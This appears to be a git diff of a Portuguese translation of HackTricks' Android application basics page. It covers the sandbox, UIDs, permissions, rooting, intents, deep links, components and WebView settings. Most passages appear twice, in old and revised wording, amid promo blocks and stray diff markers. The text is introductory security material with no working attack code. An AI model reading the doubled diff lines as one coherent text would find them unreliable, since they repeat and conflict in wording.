* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,21 +2,21 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda a hackear a AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -26,21 +26,21 @@ Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
**Existem duas camadas:**
|
**Existem duas camadas:**
|
||||||
|
|
||||||
* O **SO**, que mantém as aplicações instaladas isoladas umas das outras.
|
* O **SO**, que mantém aplicativos instalados isolados uns dos outros.
|
||||||
* A **própria aplicação**, que permite aos desenvolvedores **expor certas funcionalidades** e configurar as capacidades da aplicação.
|
* O **próprio aplicativo**, que permite aos desenvolvedores **expor certas funcionalidades** e configurar as capacidades do aplicativo.
|
||||||
|
|
||||||
### Separação de UID
|
### Separação de UID
|
||||||
|
|
||||||
**Cada aplicação é atribuída a um ID de Usuário específico**. Isso é feito durante a instalação do aplicativo para que o **aplicativo só possa interagir com arquivos de propriedade do seu ID de Usuário ou arquivos compartilhados**. Portanto, apenas o próprio aplicativo, certos componentes do SO e o usuário root podem acessar os dados dos aplicativos.
|
**Cada aplicativo é atribuído a um ID de Usuário específico**. Isso é feito durante a instalação do aplicativo para que o **aplicativo possa interagir apenas com arquivos de propriedade de seu ID de Usuário ou arquivos compartilhados**. Portanto, apenas o próprio aplicativo, certos componentes do SO e o usuário root podem acessar os dados dos aplicativos.
|
||||||
|
|
||||||
### Compartilhamento de UID
|
### Compartilhamento de UID
|
||||||
|
|
||||||
**Duas aplicações podem ser configuradas para usar o mesmo UID**. Isso pode ser útil para compartilhar informações, mas se uma delas for comprometida, os dados de ambas as aplicações serão comprometidos. Por isso, esse comportamento é **desencorajado**.\
|
**Dois aplicativos podem ser configurados para usar o mesmo UID**. Isso pode ser útil para compartilhar informações, mas se um deles for comprometido, os dados de ambos os aplicativos serão comprometidos. Por isso, esse comportamento é **desencorajado**.\
|
||||||
**Para compartilhar o mesmo UID, as aplicações devem definir o mesmo valor `android:sharedUserId` em seus manifestos.**
|
**Para compartilhar o mesmo UID, os aplicativos devem definir o mesmo valor `android:sharedUserId` em seus manifestos.**
|
||||||
|
|
||||||
### Isolamento
|
### Isolamento
|
||||||
|
|
||||||
A **Sandbox de Aplicativos Android** permite executar **cada aplicação** como um **processo separado sob um ID de usuário separado**. Cada processo tem sua própria máquina virtual, então o código de um aplicativo é executado isoladamente de outros aplicativos.\
|
A **Sandbox de Aplicativos Android** permite executar **cada aplicativo** como um **processo separado sob um ID de usuário separado**. Cada processo tem sua própria máquina virtual, então o código de um aplicativo é executado isoladamente de outros aplicativos.\
|
||||||
A partir do Android 5.0(L), o **SELinux** é aplicado. Basicamente, o SELinux nega todas as interações de processos e então cria políticas para **permitir apenas as interações esperadas entre eles**.
|
A partir do Android 5.0(L), o **SELinux** é aplicado. Basicamente, o SELinux nega todas as interações de processos e então cria políticas para **permitir apenas as interações esperadas entre eles**.
|
||||||
|
|
||||||
### Permissões
|
### Permissões
|
||||||
|
@ -61,11 +61,11 @@ Um elemento de permissão tem três atributos:
|
||||||
|
|
||||||
## Aplicações Pré-Instaladas
|
## Aplicações Pré-Instaladas
|
||||||
|
|
||||||
Esses aplicativos geralmente são encontrados nos diretórios **`/system/app`** ou **`/system/priv-app`** e alguns deles são **otimizados** (você pode nem encontrar o arquivo `classes.dex`). Essas aplicações valem a pena verificar porque às vezes estão **executando com muitas permissões** (como root).
|
Esses aplicativos geralmente são encontrados nos diretórios **`/system/app`** ou **`/system/priv-app`** e alguns deles são **otimizados** (você pode nem encontrar o arquivo `classes.dex`). Esses aplicativos valem a pena verificar porque às vezes eles estão **executando com muitas permissões** (como root).
|
||||||
|
|
||||||
* Os que são enviados com o **ROM** do **AOSP** (Projeto de Código Aberto Android)
|
* Os que são enviados com o **ROM** do **AOSP** (Projeto de Código Aberto Android)
|
||||||
* Adicionados pelo **fabricante do dispositivo**
|
* Adicionados pelo **fabricante** do dispositivo
|
||||||
* Adicionados pelo **provedor de telefonia celular** (se comprado deles)
|
* Adicionados pelo **provedor** de telefonia celular (se comprado deles)
|
||||||
|
|
||||||
## Root
|
## Root
|
||||||
|
|
||||||
|
@ -75,7 +75,7 @@ Uma vez que o exploit funcionou, geralmente o binário `su` do Linux é copiado
|
||||||
Depois que o binário su estiver configurado, outro aplicativo Android é usado para interagir com o binário `su` e **processar solicitações de acesso root** como **Superuser** e **SuperSU** (disponível na Google Play Store).
|
Depois que o binário su estiver configurado, outro aplicativo Android é usado para interagir com o binário `su` e **processar solicitações de acesso root** como **Superuser** e **SuperSU** (disponível na Google Play Store).
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Observe que o processo de root é muito perigoso e pode danificar severamente o dispositivo
|
Observe que o processo de root é muito perigoso e pode danificar gravemente o dispositivo
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### ROMs
|
### ROMs
|
||||||
|
@ -91,7 +91,7 @@ Uma vez que um dispositivo é rooteado, qualquer aplicativo pode solicitar acess
|
||||||
|
|
||||||
## Fundamentos de Aplicações Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
## Fundamentos de Aplicações Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||||
|
|
||||||
- O formato de aplicações Android é referido como _formato de arquivo APK_. É essencialmente um **arquivo ZIP** (renomeando a extensão do arquivo para .zip, o conteúdo pode ser extraído e visualizado).
|
- O formato de aplicativos Android é referido como _formato de arquivo APK_. É essencialmente um **arquivo ZIP** (renomeando a extensão do arquivo para .zip, o conteúdo pode ser extraído e visualizado).
|
||||||
- Conteúdo do APK (Não exaustivo)
|
- Conteúdo do APK (Não exaustivo)
|
||||||
- **AndroidManifest.xml**
|
- **AndroidManifest.xml**
|
||||||
- resources.arsc/strings.xml
|
- resources.arsc/strings.xml
|
||||||
|
@ -100,7 +100,7 @@ Uma vez que um dispositivo é rooteado, qualquer aplicativo pode solicitar acess
|
||||||
- META-INF/
|
- META-INF/
|
||||||
- Aqui é onde o Certificado está localizado!
|
- Aqui é onde o Certificado está localizado!
|
||||||
- **classes.dex**
|
- **classes.dex**
|
||||||
- Contém bytecode Dalvik, representando o código Java (ou Kotlin) compilado que a aplicação executa por padrão.
|
- Contém bytecode Dalvik, representando o código Java (ou Kotlin) compilado que o aplicativo executa por padrão.
|
||||||
- lib/
|
- lib/
|
||||||
- Armazena bibliotecas nativas, segregadas por arquitetura de CPU em subdiretórios.
|
- Armazena bibliotecas nativas, segregadas por arquitetura de CPU em subdiretórios.
|
||||||
- `armeabi`: código para processadores baseados em ARM
|
- `armeabi`: código para processadores baseados em ARM
|
||||||
|
@ -115,32 +115,32 @@ Uma vez que um dispositivo é rooteado, qualquer aplicativo pode solicitar acess
|
||||||
|
|
||||||
Na desenvolvimento Android, **Java ou Kotlin** são usados para criar aplicativos. Em vez de usar o JVM como em aplicativos desktop, o Android compila esse código em **Dalvik Executable (DEX) bytecode**. Anteriormente, a máquina virtual Dalvik lidava com esse bytecode, mas agora, o Android Runtime (ART) assume em versões mais recentes do Android.
|
Na desenvolvimento Android, **Java ou Kotlin** são usados para criar aplicativos. Em vez de usar o JVM como em aplicativos desktop, o Android compila esse código em **Dalvik Executable (DEX) bytecode**. Anteriormente, a máquina virtual Dalvik lidava com esse bytecode, mas agora, o Android Runtime (ART) assume em versões mais recentes do Android.
|
||||||
|
|
||||||
Para engenharia reversa, **Smali** se torna crucial. É a versão legível por humanos do bytecode DEX, atuando como linguagem de montagem ao traduzir o código-fonte em instruções de bytecode. Smali e baksmali se referem às ferramentas de montagem e desmontagem nesse contexto.
|
Para engenharia reversa, **Smali** se torna crucial. É a versão legível por humanos do bytecode DEX, atuando como linguagem de montagem ao traduzir o código-fonte em instruções de bytecode. Smali e baksmali referem-se às ferramentas de montagem e desmontagem nesse contexto.
|
||||||
|
|
||||||
## Intenções
|
## Intents
|
||||||
|
|
||||||
Intenções são o principal meio pelo qual os aplicativos Android se comunicam entre seus componentes ou com outros aplicativos. Esses objetos de mensagem também podem transportar dados entre aplicativos ou componentes, semelhante à forma como as solicitações GET/POST são usadas em comunicações HTTP.
|
Intents são o principal meio pelo qual os aplicativos Android se comunicam entre seus componentes ou com outros aplicativos. Esses objetos de mensagem também podem transportar dados entre aplicativos ou componentes, semelhante à forma como as solicitações GET/POST são usadas em comunicações HTTP.
|
||||||
|
|
||||||
Portanto, uma Intenção é basicamente uma **mensagem que é passada entre componentes**. As intenções **podem ser direcionadas** para componentes ou aplicativos específicos, **ou podem ser enviadas sem um destinatário específico**.\
|
Portanto, um Intent é basicamente uma **mensagem que é passada entre componentes**. Intents **podem ser direcionados** para componentes ou aplicativos específicos, **ou podem ser enviados sem um destinatário específico**.\
|
||||||
Para ser simples, a Intenção pode ser usada:
|
Para ser simples, um Intent pode ser usado para:
|
||||||
|
|
||||||
* Para iniciar uma Activity, normalmente abrindo uma interface de usuário para um aplicativo
|
* Iniciar uma Activity, normalmente abrindo uma interface de usuário para um aplicativo
|
||||||
* Como transmissões para informar o sistema e aplicativos sobre alterações
|
* Como transmissões para informar o sistema e aplicativos sobre alterações
|
||||||
* Para iniciar, parar e comunicar-se com um serviço em segundo plano
|
* Para iniciar, parar e comunicar-se com um serviço em segundo plano
|
||||||
* Para acessar dados por meio de ContentProviders
|
* Para acessar dados por meio de ContentProviders
|
||||||
* Como callbacks para lidar com eventos
|
* Como callbacks para lidar com eventos
|
||||||
|
|
||||||
Se vulneráveis, **Intenções podem ser usadas para realizar uma variedade de ataques**.
|
Se vulneráveis, **Intents podem ser usados para realizar uma variedade de ataques**.
|
||||||
|
|
||||||
### Filtro de Intenção
|
### Intent-Filter
|
||||||
|
|
||||||
**Filtros de Intenção** definem **como uma atividade, serviço ou Receptor de Transmissão pode interagir com diferentes tipos de Intenções**. Essencialmente, eles descrevem as capacidades desses componentes, como quais ações podem executar ou os tipos de transmissões que podem processar. O local principal para declarar esses filtros é dentro do arquivo **AndroidManifest.xml**, embora para Receptores de Transmissão, codificá-los também seja uma opção.
|
**Intent Filters** definem **como uma atividade, serviço ou Broadcast Receiver pode interagir com diferentes tipos de Intents**. Essencialmente, eles descrevem as capacidades desses componentes, como quais ações podem executar ou os tipos de transmissões que podem processar. O local principal para declarar esses filtros é dentro do arquivo **AndroidManifest.xml**, embora para Broadcast Receivers, codificá-los também seja uma opção.
|
||||||
|
|
||||||
Os Filtros de Intenção são compostos por categorias, ações e filtros de dados, com a possibilidade de incluir metadados adicionais. Essa configuração permite que os componentes lidem com Intenções específicas que correspondam aos critérios declarados.
|
Os Intent Filters são compostos por categorias, ações e filtros de dados, com a possibilidade de incluir metadados adicionais. Essa configuração permite que os componentes lidem com Intents específicos que correspondam aos critérios declarados.
|
||||||
|
|
||||||
Um aspecto crítico dos componentes Android (atividades/serviços/provedores de conteúdo/receptores de transmissão) é sua visibilidade ou **status público**. Um componente é considerado público e pode interagir com outros aplicativos se for **`exportado`** com um valor **`true`** ou se um Filtro de Intenção for declarado para ele no manifesto. No entanto, os desenvolvedores têm a opção de manter explicitamente esses componentes privados, garantindo que não interajam com outros aplicativos inadvertidamente. Isso é alcançado definindo o atributo **`exportado`** como **`false`** em suas definições de manifesto.
|
Um aspecto crítico dos componentes Android (atividades/serviços/content providers/broadcast receivers) é sua visibilidade ou **status público**. Um componente é considerado público e pode interagir com outros aplicativos se for **`exported`** com um valor de **`true`** ou se um Intent Filter for declarado para ele no manifesto. No entanto, os desenvolvedores têm a opção de manter explicitamente esses componentes privados, garantindo que não interajam com outros aplicativos inadvertidamente. Isso é alcançado definindo o atributo **`exported`** como **`false`** em suas definições de manifesto.
|
||||||
|
|
||||||
Além disso, os desenvolvedores têm a opção de garantir ainda mais o acesso a esses componentes exigindo permissões específicas. O atributo **`permissão`** pode ser definido para garantir que apenas aplicativos com a permissão designada possam acessar o componente, adicionando uma camada extra de segurança e controle sobre quem pode interagir com ele.
|
Além disso, os desenvolvedores têm a opção de garantir ainda mais o acesso a esses componentes exigindo permissões específicas. O atributo **`permission`** pode ser definido para garantir que apenas aplicativos com a permissão designada possam acessar o componente, adicionando uma camada extra de segurança e controle sobre quem pode interagir com ele.
|
||||||
```java
|
```java
|
||||||
<activity android:name=".MyActivity" android:exported="false">
|
<activity android:name=".MyActivity" android:exported="false">
|
||||||
<!-- Intent filters go here -->
|
<!-- Intent filters go here -->
|
||||||
|
@ -165,7 +165,7 @@ Este intent deve ser declarado dentro do manifesto como no exemplo a seguir:
|
||||||
```
|
```
|
||||||
Um intent-filter precisa corresponder à **ação**, **dados** e **categoria** para receber uma mensagem.
|
Um intent-filter precisa corresponder à **ação**, **dados** e **categoria** para receber uma mensagem.
|
||||||
|
|
||||||
O processo de "resolução de Intent" determina qual aplicativo deve receber cada mensagem. Esse processo considera o atributo de **prioridade**, que pode ser definido na declaração do **intent-filter**, e **o com a prioridade mais alta será selecionado**. Essa prioridade pode ser definida entre -1000 e 1000 e os aplicativos podem usar o valor `SYSTEM_HIGH_PRIORITY`. Se surgir um **conflito**, uma janela de "escolha" aparece para que o **usuário possa decidir**.
|
O processo de "resolução de Intent" determina qual aplicativo deve receber cada mensagem. Esse processo considera o atributo de **prioridade**, que pode ser definido na declaração do **intent-filter**, e **o que tiver a prioridade mais alta será selecionado**. Essa prioridade pode ser definida entre -1000 e 1000 e os aplicativos podem usar o valor `SYSTEM_HIGH_PRIORITY`. Se surgir um **conflito**, uma janela de "escolha" aparece para que o **usuário possa decidir**.
|
||||||
|
|
||||||
### Intenções Explícitas
|
### Intenções Explícitas
|
||||||
|
|
||||||
|
@ -185,7 +185,7 @@ Estas permitem que outras aplicações **realizem ações em nome da sua aplica
|
||||||
|
|
||||||
### Intenções de Transmissão
|
### Intenções de Transmissão
|
||||||
|
|
||||||
Ao contrário das intenções anteriores, que são recebidas apenas por uma aplicação, as intenções de transmissão **podem ser recebidas por várias aplicações**. No entanto, a partir da versão da API 14, é **possível especificar a aplicação que deve receber** a mensagem usando Intent.setPackage.
|
Ao contrário das intenções anteriores, que são recebidas apenas por uma aplicação, as intenções de transmissão **podem ser recebidas por várias aplicações**. No entanto, a partir da versão API 14, é **possível especificar a aplicação que deve receber** a mensagem usando Intent.setPackage.
|
||||||
|
|
||||||
Alternativamente, também é possível **especificar uma permissão ao enviar a transmissão**. A aplicação receptora precisará ter essa permissão.
|
Alternativamente, também é possível **especificar uma permissão ao enviar a transmissão**. A aplicação receptora precisará ter essa permissão.
|
||||||
|
|
||||||
|
@ -204,7 +204,7 @@ Se encontrar funções contendo a palavra "persistentes" como **`sendStickyBroad
|
||||||
|
|
||||||
## Links Profundos / Esquemas de URL
|
## Links Profundos / Esquemas de URL
|
||||||
|
|
||||||
Nas aplicações Android, os **links profundos** são usados para iniciar uma ação (Intenção) diretamente através de um URL. Isso é feito declarando um **esquema de URL específico** dentro de uma atividade. Quando um dispositivo Android tenta **acessar um URL com este esquema**, a atividade especificada dentro da aplicação é iniciada.
|
Nas aplicações Android, os **links profundos** são utilizados para iniciar uma ação (Intenção) diretamente através de um URL. Isso é feito ao declarar um **esquema de URL específico** dentro de uma atividade. Quando um dispositivo Android tenta **acessar um URL com este esquema**, a atividade especificada dentro da aplicação é iniciada.
|
||||||
|
|
||||||
O esquema deve ser declarado no arquivo **`AndroidManifest.xml`**:
|
O esquema deve ser declarado no arquivo **`AndroidManifest.xml`**:
|
||||||
```xml
|
```xml
|
||||||
|
@ -220,7 +220,7 @@ O esquema deve ser declarado no arquivo **`AndroidManifest.xml`**:
|
||||||
```
|
```
|
||||||
O esquema do exemplo anterior é `exampleapp://` (observe também a **`categoria BROWSABLE`**)
|
O esquema do exemplo anterior é `exampleapp://` (observe também a **`categoria BROWSABLE`**)
|
||||||
|
|
||||||
Em seguida, no campo de dados, você pode especificar o **host** e o **path**:
|
Em seguida, no campo de dados, você pode especificar o **host** e o **caminho**:
|
||||||
```xml
|
```xml
|
||||||
<data android:scheme="examplescheme"
|
<data android:scheme="examplescheme"
|
||||||
android:host="example"
|
android:host="example"
|
||||||
|
@ -255,7 +255,7 @@ Estes incluem: **Atividades, Serviços, Receptores de Transmissão e Provedores.
|
||||||
|
|
||||||
Nos aplicativos Android, as **atividades** são como telas, mostrando diferentes partes da interface do usuário do aplicativo. Um aplicativo pode ter muitas atividades, cada uma apresentando uma tela única ao usuário.
|
Nos aplicativos Android, as **atividades** são como telas, mostrando diferentes partes da interface do usuário do aplicativo. Um aplicativo pode ter muitas atividades, cada uma apresentando uma tela única ao usuário.
|
||||||
|
|
||||||
A **atividade de lançamento** é a principal porta de entrada para um aplicativo, sendo lançada quando você toca no ícone do aplicativo. É definida no arquivo de manifesto do aplicativo com intenções MAIN e LAUNCHER específicas:
|
A **atividade de lançamento** é a principal porta de entrada para um aplicativo, sendo lançada quando você toca no ícone do aplicativo. Ela é definida no arquivo de manifesto do aplicativo com intenções MAIN e LAUNCHER específicas:
|
||||||
```markup
|
```markup
|
||||||
<activity android:name=".LauncherActivity">
|
<activity android:name=".LauncherActivity">
|
||||||
<intent-filter>
|
<intent-filter>
|
||||||
|
@ -276,7 +276,7 @@ O ciclo de vida de uma atividade **começa com o método onCreate**, configurand
|
||||||
|
|
||||||
### Subclasse de Aplicativo
|
### Subclasse de Aplicativo
|
||||||
|
|
||||||
No desenvolvimento Android, um aplicativo tem a opção de criar uma **subclasse** da classe [Application](https://developer.android.com/reference/android/app/Application), embora não seja obrigatório. Quando tal subclasse é definida, ela se torna a primeira classe a ser instanciada dentro do aplicativo. O método **`attachBaseContext`**, se implementado nesta subclasse, é executado antes do método **`onCreate`**. Essa configuração permite uma inicialização precoce antes do início do restante do aplicativo.
|
No desenvolvimento Android, um aplicativo tem a opção de criar uma **subclasse** da classe [Application](https://developer.android.com/reference/android/app/Application), embora não seja obrigatório. Quando tal subclasse é definida, ela se torna a primeira classe a ser instanciada dentro do aplicativo. O método **`attachBaseContext`**, se implementado nesta subclasse, é executado antes do método **`onCreate`**. Essa configuração permite uma inicialização precoce antes do restante do aplicativo iniciar.
|
||||||
```java
|
```java
|
||||||
public class MyApp extends Application {
|
public class MyApp extends Application {
|
||||||
@Override
|
@Override
|
||||||
|
@ -304,7 +304,7 @@ Uma aplicação interessante dos serviços inclui a reprodução de música em s
|
||||||
```
|
```
|
||||||
### Receptores de Transmissão
|
### Receptores de Transmissão
|
||||||
|
|
||||||
Os **receptores de transmissão** atuam como ouvintes em um sistema de mensagens, permitindo que várias aplicações respondam às mesmas mensagens do sistema. Um aplicativo pode **registrar um receptor** de **duas maneiras principais**: através do **Manifest** do aplicativo ou **dinamicamente** dentro do código do aplicativo via a API **`registerReceiver`**. No Manifest, as transmissões são filtradas com permissões, enquanto receptores registrados dinamicamente também podem especificar permissões durante o registro.
|
Os **receptores de transmissão** atuam como ouvintes em um sistema de mensagens, permitindo que várias aplicações respondam às mesmas mensagens do sistema. Um aplicativo pode **registrar um receptor** de **duas maneiras principais**: através do **Manifest** do aplicativo ou **dinamicamente** dentro do código do aplicativo via API **`registerReceiver`**. No Manifest, as transmissões são filtradas com permissões, enquanto receptores registrados dinamicamente também podem especificar permissões durante o registro.
|
||||||
|
|
||||||
Os **filtros de intenção** são cruciais em ambos os métodos de registro, determinando quais transmissões acionam o receptor. Uma vez que uma transmissão correspondente é enviada, o método **`onReceive`** do receptor é invocado, permitindo que o aplicativo reaja adequadamente, como ajustar o comportamento em resposta a um alerta de bateria fraca.
|
Os **filtros de intenção** são cruciais em ambos os métodos de registro, determinando quais transmissões acionam o receptor. Uma vez que uma transmissão correspondente é enviada, o método **`onReceive`** do receptor é invocado, permitindo que o aplicativo reaja adequadamente, como ajustar o comportamento em resposta a um alerta de bateria fraca.
|
||||||
|
|
||||||
|
@ -344,7 +344,7 @@ Para mais informações, consulte:
|
||||||
|
|
||||||
WebViews são como **mini navegadores da web** dentro de aplicativos Android, exibindo conteúdo tanto da web quanto de arquivos locais. Eles enfrentam riscos semelhantes aos dos navegadores regulares, mas existem maneiras de **reduzir esses riscos** por meio de **configurações específicas**.
|
WebViews são como **mini navegadores da web** dentro de aplicativos Android, exibindo conteúdo tanto da web quanto de arquivos locais. Eles enfrentam riscos semelhantes aos dos navegadores regulares, mas existem maneiras de **reduzir esses riscos** por meio de **configurações específicas**.
|
||||||
|
|
||||||
O Android oferece dois principais tipos de WebView:
|
O Android oferece dois tipos principais de WebView:
|
||||||
|
|
||||||
- **WebViewClient** é ótimo para HTML básico, mas não suporta a função de alerta JavaScript, afetando como os ataques XSS podem ser testados.
|
- **WebViewClient** é ótimo para HTML básico, mas não suporta a função de alerta JavaScript, afetando como os ataques XSS podem ser testados.
|
||||||
- **WebChromeClient** se comporta mais como a experiência completa do navegador Chrome.
|
- **WebChromeClient** se comporta mais como a experiência completa do navegador Chrome.
|
||||||
|
@ -355,7 +355,7 @@ Para carregar conteúdo, métodos como ````loadUrl````, ````loadData````, e ````
|
||||||
|
|
||||||
A "Bridge" JavaScript permite que objetos Java interajam com JavaScript, exigindo que os métodos sejam marcados com ````@JavascriptInterface```` para segurança a partir do Android 4.2.
|
A "Bridge" JavaScript permite que objetos Java interajam com JavaScript, exigindo que os métodos sejam marcados com ````@JavascriptInterface```` para segurança a partir do Android 4.2.
|
||||||
|
|
||||||
Permitir acesso ao conteúdo (````setAllowContentAccess(true)````) permite que WebViews alcancem Provedores de Conteúdo, o que poderia ser um risco, a menos que os URLs de conteúdo sejam verificados como seguros.
|
Permitir acesso ao conteúdo (````setAllowContentAccess(true)````) permite que WebViews acessem Provedores de Conteúdo, o que poderia representar um risco, a menos que os URLs de conteúdo sejam verificados como seguros.
|
||||||
|
|
||||||
Para controlar o acesso a arquivos:
|
Para controlar o acesso a arquivos:
|
||||||
- Desativar o acesso a arquivos (````setAllowFileAccess(false)````) limita o acesso ao sistema de arquivos, com exceções para determinados ativos, garantindo que sejam usados apenas para conteúdo não sensível.
|
- Desativar o acesso a arquivos (````setAllowFileAccess(false)````) limita o acesso ao sistema de arquivos, com exceções para determinados ativos, garantindo que sejam usados apenas para conteúdo não sensível.
|
||||||
|
@ -372,7 +372,7 @@ Para controlar o acesso a arquivos:
|
||||||
|
|
||||||
### **Gerenciamento de Dispositivos Móveis (MDM)**
|
### **Gerenciamento de Dispositivos Móveis (MDM)**
|
||||||
|
|
||||||
- As **soluções de MDM** fornecem **supervisão e segurança** para dispositivos móveis por meio da **API de Administração de Dispositivos**. Elas exigem a instalação de um aplicativo Android para gerenciar e proteger dispositivos móveis de forma eficaz. As funções principais incluem **impor políticas de senha**, **exigir criptografia de armazenamento** e **permitir a limpeza remota de dados**, garantindo controle abrangente e segurança sobre dispositivos móveis.
|
- As **soluções de MDM** fornecem **supervisão e segurança** para dispositivos móveis por meio da **API de Administração de Dispositivos**. Elas exigem a instalação de um aplicativo Android para gerenciar e proteger dispositivos móveis de forma eficaz. As funções principais incluem **impor políticas de senha**, **exigir criptografia de armazenamento** e **permitir a exclusão remota de dados**, garantindo controle abrangente e segurança sobre dispositivos móveis.
|
||||||
```java
|
```java
|
||||||
// Example of enforcing a password policy with MDM
|
// Example of enforcing a password policy with MDM
|
||||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||||
|
@ -385,7 +385,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||||
```
|
```
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -395,7 +395,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
|
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
